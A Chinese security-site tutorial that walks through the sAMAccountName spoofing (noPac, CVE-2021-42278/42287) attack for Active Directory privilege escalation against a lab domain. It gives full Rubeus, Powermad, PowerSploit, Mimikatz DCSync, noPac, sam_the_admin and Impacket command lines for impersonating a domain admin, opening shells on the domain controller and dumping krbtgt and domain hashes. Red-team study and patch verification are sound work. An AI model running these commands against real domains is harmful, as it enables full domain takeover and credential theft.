干货分享 | 域内提权之sAMAccountName欺骗

华盟原创文章投稿奖励计划

干货分享 | 域内提权之sAMAccountName欺骗


文章前言

与标准用户帐户相比计算机帐户的名称末尾附加了$符号,默认情况下Microsoft操作系统缺乏可以防止许多攻击的安全控制和强化措施,此外多年来已经证明Windows生态系统中许多事物工作方式可以通过利用现有功能和工作流程来实现滥用

具体来说,活动目录中的每个帐户在sAMAccountName属性中都有自己的名称,但是由于没有控制导致可以任意使用,因此任何拥有控制权和对象(即机器帐户)的用户都可以修改此值,该修改的目的可能导致模拟域上的其他帐户,例如域控制器计算机帐户,Charlie Clark是第一个通过发布详细文章说明如何将这些漏洞武器化的人

在请求服务票证之前需要首先签发票证授予票证(TGT),当为密钥分发中心 (KDC)中不存在的帐户请求服务票证时,密钥分发中心将跟进在该帐户上附加 $符号的搜索,将此行为与对sAMAccountName属性缺乏控制相结合,红队操作员可以利用它进行域权限提升,具体来说,可以请求域控制器帐户的票证授予票证,并且在任何服务票证请求之前恢复sAMAccountName属性值将强制KDC搜索域控制器的机器帐户并发出提升的服务票证代表域管理员

为了正确利用这种攻击进行域升级,用户需要拥有计算机帐户的权限才能修改sAMAccountName和servicePrincipalName属性,可以创建机器帐户的用户具有修改这些属性所需的权限,默认情况下,域用户的机器帐户配额设置为 10,这允许用户在域上创建机器帐户,或者可以从作为机器帐户所有者的帐户的角度进行此攻击,通过sAMAccountName模拟执行域升级包括以下步骤

  • 创建机器帐户

  • 清除servicePrincipalName属性

  • 修改机器账户的sAMAccountName属性指向不带$符号的域控制器名称

  • 为域控制器帐户请求TGT

  • 将sAMAccountName属性恢复为其原始值或任何其他值

  • 使用S4U2self方法请求服务票证

  • 代表域管理员帐户接收服务票证

下图说明了sAMAccountName模拟技术的步骤:

干货分享 | 域内提权之sAMAccountName欺骗

漏洞发现

Microsoft已发布补丁以防止成功利用,但是在许多情况下补丁没有按时应用,这会产生一个可以在红队评估期间利用该技术的时间段,该技术的先决条件如下

  • 缺少KB5008380和KB5008602安全补丁的域控制器

  • 有效的域用户帐户

  • 机器帐号配额大于0

需要访问内部网络,因此假设低权限帐户已被盗用,如上所述,机器帐户配额默认为10,因此唯一的要求是确定是否已应用补丁,这是微不足道的,可以通过为域用户帐户请求没有PAC的票证授予票证并观察base64票证大小(与使用PAC签发的票证相比更小)来实现,Rubeus可以与/nopac开关一起使用,为一个已知凭据的域帐户请求TGT

  • Rubeus.exe asktgt /user:pentestlab /password:Password1234 
  • /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap

干货分享 | 域内提权之sAMAccountName欺骗

查看票证大小可以理解域控制器很容易受到攻击,因为PAC还没有收到票证

干货分享 | 域内提权之sAMAccountName欺骗

或者可以使用noPac C#工具检索网络上所有可用域控制器的TGT票证,该工具基于Rubeus,因为它使用库Rubeus.lib.Interop.LUID来获取票证,票证大小可以确定KDC是否在没有PAC的情况下签发了票证

  • noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234

干货分享 | 域内提权之sAMAccountName欺骗

如果从PowerShell控制台执行操作,Shitsecure开发了一个PowerShell脚本Invoke-noPac,它将.NET 程序集noPac嵌入到base64中,由于该工具实际上是noPac,因此可以使用相同的参数来检索票证

  • Import-Module .Invoke-noPAC.ps1
  • Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"

干货分享 | 域内提权之sAMAccountName欺骗

手动检索

有各种工具和脚本可以自动化来自域和非域加入系统的技术,然而在深入自动化之前,重要的是要了解如何使用现有的工具集手动执行这种攻击,在活动目录中创建机器帐户对于红队操作来说并不新鲜,因为它也可以在基于资源的约束委派期间使用,Kevin Robertson开发了一个名为Powermad的 PowerShell模块,该模块具有可以在域上创建机器帐户的功能

  • New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"

干货分享 | 域内提权之sAMAccountName欺骗

使用PowerSploit的Set-DomainObject从已创建的机器帐户中删除服务主体名称值是微不足道的

  • Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"

干货分享 | 域内提权之sAMAccountName欺骗

通过执行以下命令也可以从Powermad和SetMachineAccountAttribute 函数中修改sAMAccountName属性值以指向域控制器主机名:

  • Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"

干货分享 | 域内提权之sAMAccountName欺骗

查看活动目录中的属性,可以看出新机器帐户的值现在指向dc,因此该帐户可以模拟域控制器

干货分享 | 域内提权之sAMAccountName欺骗

可以通过查询域控制器来验证sAMAccountName属性是否被修改,PowerSploit中的GetDomainComputer函数可以枚举域中机器帐户的属性

  • Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname

干货分享 | 域内提权之sAMAccountName欺骗

对于涉及Kerberos的操作,Rubeus是标准工具,由于sam帐户名称已更改,因此可以从标准用户的上下文中为dc帐户请求票证授予票证

.Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap

干货分享 | 域内提权之sAMAccountName欺骗

sam帐户名称属性需要恢复到其原始值或任何其他值,否则将不会发出服务票证

  • Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname

干货分享 | 域内提权之sAMAccountName欺骗

由于TGT已存储在内存中,因此可以使用S4U2self kerberos扩展代表域管理员请求服务票证,由于原始票据属于dc用户,但由于sam帐户名称已被重命名,因此Kerberos将查找dc$,它是一个有效的机器帐户,并将为所请求的服务签发票据

  • ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]

干货分享 | 域内提权之sAMAccountName欺骗

可以从现有会话中执行Mimikatz,以便使用DCSync技术转储krbtgt帐户的哈希,以创建黄金票

  • lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt

干货分享 | 域内提权之sAMAccountName欺骗

自动化实现

可以使用由Cube0x0开发的C#工具noPac直接从内存中自动复制 sAMAccountName欺骗的步骤,执行以下命令将创建一个具有指定密码的机器帐户,并获得cifs服务的服务票证,该票证将被传递到内存中

  • noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt

干货分享 | 域内提权之sAMAccountName欺骗

以下命令将验证域升级,因为标准用户可以枚举域控制器上C$文件夹的内容

  • dir \dc.purple.labc$

干货分享 | 域内提权之sAMAccountName欺骗

同样如果初始植入是基于PowerShell的,则可以从Invoke-noPac脚本中使用相同的命令行参数,正如上面已经提到的它实际上是noPac C#工具的包装器

  • Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"

干货分享 | 域内提权之sAMAccountName欺骗

访问域控制器的C$文件夹将验证缓存到内存中的服务票证是否已提升

  • dir \dc.purple.labc$

干货分享 | 域内提权之sAMAccountName欺骗

非域内主机

该技术的相同原理可以应用于未连接到域的系统,Hossam Hamed发布了一个名为sam the admin的python脚本来模拟攻击,最初脚本将尝试枚举属性ms-DS-MachineAccountQuota ,以确定是否可以在域中添加新计算机,然后将使用随机密码创建一个机器帐户,新计算机帐户的sAMAccountName 属性将被修改为包含域控制器计算机帐户的值,将请求提升票证并将其保存到缓存中,最后sAMAccountName的原始值”属性将被恢复,并使用缓存的票证,将使用Impacket套件中的smbexec建立与域控制器的会话

  • python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell

干货分享 | 域内提权之sAMAccountName欺骗

该脚本包含一个标志,可用于转储域哈希,因为在后台使用secretsdump

  • python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump

干货分享 | 域内提权之sAMAccountName欺骗

这些哈希可用于离线破解,以识别任何使用中的弱密码,并确定客户端的密码策略是否足够,是否符合行业标准或需要进一步评估,由于krbtgt帐户的哈希是可见的,因此可以为域持久性创建黄金票

干货分享 | 域内提权之sAMAccountName欺骗

Oliver Lyak发布了一个类似的python脚本,它既可以用于扫描域控制器以识别易受攻击的主机,也可以用于检索票证授予服务票证

  • python3 pachine.py -dc-host dc.purple.lab -scan 
  • 'purple.lab/pentestlab:Password1234'

干货分享 | 域内提权之sAMAccountName欺骗

对易受攻击的域控制器执行以下命令将创建一个具有随机密码的机器帐户,以获得票证授予票证,然后机器帐户名称将重命名并使用S4U2self为属于域管理员组的管理员用户检索并保存在本地的服务票证

  • python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -
  • impersonate administrator 'purple.lab/pentestlab:Password1234'

干货分享 | 域内提权之sAMAccountName欺骗

可以使用export KRB5CCNAME和存储票证的路径将票证导入Kerberos缓存,由于票证现在是从当前控制台导入的,因此Impacket psexec可以与 Kerberos身份验证一起使用,以便访问域控制器

  • export KRB5CCNAME=administrator@purple.lab.ccache
  • impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'

干货分享 | 域内提权之sAMAccountName欺骗

这种技术的实现也可以通过一个基于名为noPac的 Python 脚本sam the admin的工具来实现,扫描程序脚本将枚举ms-DS-MachineAccountQuota 属性并将从所有可用的域控制器获取票证授予票证,工单大小也将显示在控制台中,以便快速识别易受攻击的目标,在下面的示例中与发出带有PAC的票证的主机10.0.0.1相比,在没有PAC的情况下收到的两张票证相对较小

  • python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

干货分享 | 域内提权之sAMAccountName欺骗

此脚本可以根据活动使用各种参数执行,指定域用户的凭据和域控制器的IP 地址将实施攻击,直到检索到提升的票证

  • python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1

干货分享 | 域内提权之sAMAccountName欺骗

干货分享 | 域内提权之sAMAccountName欺骗

附加-shell和-impersonate标志将在域控制器上建立会话

  • python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator

干货分享 | 域内提权之sAMAccountName欺骗

类似地- dump标志可用于从NTDS.DIT机密中检索域用户的哈希值,由于已经通过Kerberos票证实现了域管理员访问,因此获取krbtgt帐户的哈希将是建立域持久性的合乎逻辑的下一步

  • python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt

干货分享 | 域内提权之sAMAccountName欺骗

参考连接

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac

文章来源:七芒星实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

干货分享 | 域内提权之sAMAccountName欺骗

本文来源七芒星实验室,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。